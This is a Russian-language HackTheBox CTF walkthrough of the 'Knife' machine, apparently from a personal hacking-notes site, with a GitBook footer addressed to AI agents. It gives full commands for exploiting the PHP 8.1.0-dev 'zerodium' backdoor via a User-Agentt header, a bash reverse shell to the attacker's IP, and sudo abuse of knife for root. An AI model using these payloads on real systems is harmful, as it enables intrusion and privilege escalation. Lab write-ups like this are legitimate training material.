> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/knife-hackthebox-writeup.md).

# Разбор Knife на HackTheBox

{% embed url="<https://app.hackthebox.com/machines/347>" %}

{% hint style="warning" %}
Навыки:

* PHP 8.1.0-dev — удалённое выполнение кода (RCE) через 'User-Agent'
* Злоупотребление привилегией Sudoers (бинарный файл knife) (повышение привилегий)
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/36dcb47f135564ec7afc062ab55b5368b46a0f6f" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/afe5957cd05d5984ab995bf369617572dd117df5" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.242 -oG allPorts
```

<figure><img src="/files/edcfc42845e9cbe5ea28ff4920266058ce91a662" alt=""><figcaption></figcaption></figure>

**Анализ открытых портов с помощью extractPorts:**

Используйте функцию extractPorts, чтобы отобразить открытые порты в кратком формате и скопировать их в буфер обмена (22.80)

<figure><img src="/files/92f7b7585db133b89dc8fbf5e5d2995fedf195a1" alt="" width="563"><figcaption></figcaption></figure>

**Сканирование версий портов с Nmap:**

Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted":

```bash
nmap -sCV 10.10.10.242 -oN targeted
```

<figure><img src="/files/a6ea7f63664e5a481f4596dbba1e75e2bebf03a3" alt=""><figcaption></figcaption></figure>

### Порт 80 - HTTP

<figure><img src="/files/fbb41b3e4bae32e258883716d5328f6a7a43ec23" alt=""><figcaption></figcaption></figure>

С помощью **WhatWeb** с помощью инструмента мы выявляем уязвимую версию PHP:

```bash
whatweb http://10.10.10.242
# Результат: PHP 8.1.0-dev
```

<div data-full-width="true"><figure><img src="/files/17f78ee2798e8fc9cfaa67d8351892c6a9aa057a" alt=""><figcaption></figcaption></figure></div>

## **Эксплуатация — RCE через `User-Agent`**

Для этой версии выявлена уязвимость, связанная с PHP в User-Agent.

{% embed url="<https://www.exploit-db.com/exploits/49933>" %}

Уязвимость в `User-Agent` позволяет удалённое выполнение кода.

1. **Простое выполнение команды**/ Отправьте HTTP-запрос с изменённым `User-Agent`:

```bash
curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('id');"
```

Результат: Пользовательская группа `james` появляется в ответе.

<figure><img src="/files/91662dfa7b35ee563091fbb813fa73b75a2f0751" alt=""><figcaption></figcaption></figure>

2. **Получена обратная оболочка**/ Настройте прослушиватель на своей машине:

```bash
nc -nvlp 443
```

Затем отправьте команду для запуска обратной оболочки:

```bash
curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('bash -c /"bash -i >& /dev/tcp/10.10.14.26/443 0>&1/"');"
```

<figure><img src="/files/491fbfc514ca740001c985eb02a35dadd828f517" alt=""><figcaption></figcaption></figure>

3. **Улучшенный опыт работы с оболочкой**/ Сделать терминал более интерактивным :

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Флаг User.txt

<figure><img src="/files/5b699ceea46f960dca03ac1bc6d5558ac0d8fcc6" alt=""><figcaption></figcaption></figure>

## Повышение привилегий

**Анализ прав Sudo**

Выполнив `sudo -l`, мы видим, что пользователь может запускать `knife` бинарный файл от имени root:

<div data-full-width="true"><figure><img src="/files/6b8e59f04240b7f573d02a70c007646a68c0075d" alt=""><figcaption></figcaption></figure></div>

Этот бинарный файл упоминается в GTFOBins как позволяющий повысить привилегии.

{% embed url="<https://gtfobins.github.io/gtfobins/knife/#sudo>" %}

<figure><img src="/files/0a204d99a5453026cdbcef110a191d1134ff2f03" alt=""><figcaption></figcaption></figure>

**Эксплуатация**

Используйте приведённую выше команду, чтобы получить root-оболочку.

```bash
sudo /usr/bin/knife exec -E 'exec "/bin/sh"'
```

<figure><img src="/files/73a779627ba9ad34e6a0b266fabf6a0b1ccc935b" alt=""><figcaption></figcaption></figure>

### Флаг root.txt :)

<figure><img src="/files/64742a6d258d1dad06633449a9c03c7e3e881b93" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ced0ef4ef32c4a4882e0b8b67dbac7af780e5971" alt="" width="518"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/knife-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
